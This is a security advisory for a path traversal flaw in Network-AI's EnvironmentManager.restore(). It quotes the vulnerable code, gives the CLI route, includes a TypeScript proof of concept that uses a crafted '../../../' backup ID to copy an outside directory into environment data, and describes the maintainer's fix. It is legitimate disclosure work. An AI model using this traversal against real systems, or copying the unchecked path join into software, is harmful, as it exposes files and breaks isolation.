Network-AI: EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data

Summary

EnvironmentManager.restore(env, backupId) computes the backup path with join(envDir, '.backups', backupId) and only checks that this path exists. It does not resolve the result or verify that it remains under data/<env>/.backups.

A caller can pass a traversal backup ID such as ../../../outside/source-dir to restore files from an arbitrary directory into the target environment data directory. Confirmed in Network-AI 5.12.1.

Details

restore() builds backupPath directly from caller-controlled backupId:

restore(env: EnvName, backupId: string): RestoreResult {
  const envDir = this.getDataDir(env);
  const backupsDir = join(envDir, '.backups');
  const backupPath = join(backupsDir, backupId);

  if (!existsSync(backupPath)) {
    throw new Error(`Backup '${backupId}' not found for environment '${env}'`);
  }

  this.backup(env);

  const files = this._collectBackupFiles(backupPath);
  let restored = 0;
  for (const rel of files) {
    if (rel === '_manifest.json') continue;
    const src = join(backupPath, rel);
    const dst = join(envDir, rel);
    try {
      mkdirSync(join(envDir, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });
      copyFileSync(src, dst);
      restored++;
    } catch { /* skip */ }
  }

  return { backupId, env, filesRestored: restored };
}

There is no resolved containment check that ensures backupPath remains under backupsDir.

Default CLI reachability exists through network-ai env backup restore --env <env> --backup <id>.

Affected source evidence:

• lib/env-manager.ts:474-499 — vulnerable restore path construction and copy.
• bin/cli.ts:441-458 — default CLI exposes restore with caller-controlled --backup.

PoC

This PoC uses only temporary directories and restores trust_levels.json from an external directory into data/dev:

TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;
const data = path.join(base, 'data');
const source = path.join(base, 'outside', 'secret-src');

fs.mkdirSync(source, { recursive: true });
fs.writeFileSync(path.join(source, 'trust_levels.json'), '{"leaked":true}');

const mgr = new EnvironmentManager(data, {
  chain: ['dev', 'st'],
  gates: { dev: 'auto', st: 'auto' },
});

mgr.init('dev');
const backupId = path.relative(path.join(data, 'dev', '.backups'), source);
const result = mgr.restore('dev', backupId);
const restored = fs.readFileSync(path.join(data, 'dev', 'trust_levels.json'), 'utf8');

console.log(JSON.stringify({ backupId, filesRestored: result.filesRestored, restored }, null, 2));
fs.rmSync(base, { recursive: true, force: true });
TS

Observed result includes backupId: "../../../outside/secret-src", filesRestored: 1, and restored content {"leaked":true}.

Impact

A caller that can invoke backup restore can copy arbitrary readable directories into data/<env>, subject to process filesystem permissions. This can stage sensitive files into environment data/backup locations, overwrite environment configuration files if matching filenames exist, and break environment isolation. No RCE chain was confirmed.

Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install network-ai@5.12.2 — published to npm with provenance.

restore() now validates backupId against /^[\w\-]+$/ and asserts dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir) before touching the filesystem. Backup IDs containing path separators or .. are rejected, so a crafted ID can no longer copy directories from outside .backups/ into the environment.

All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.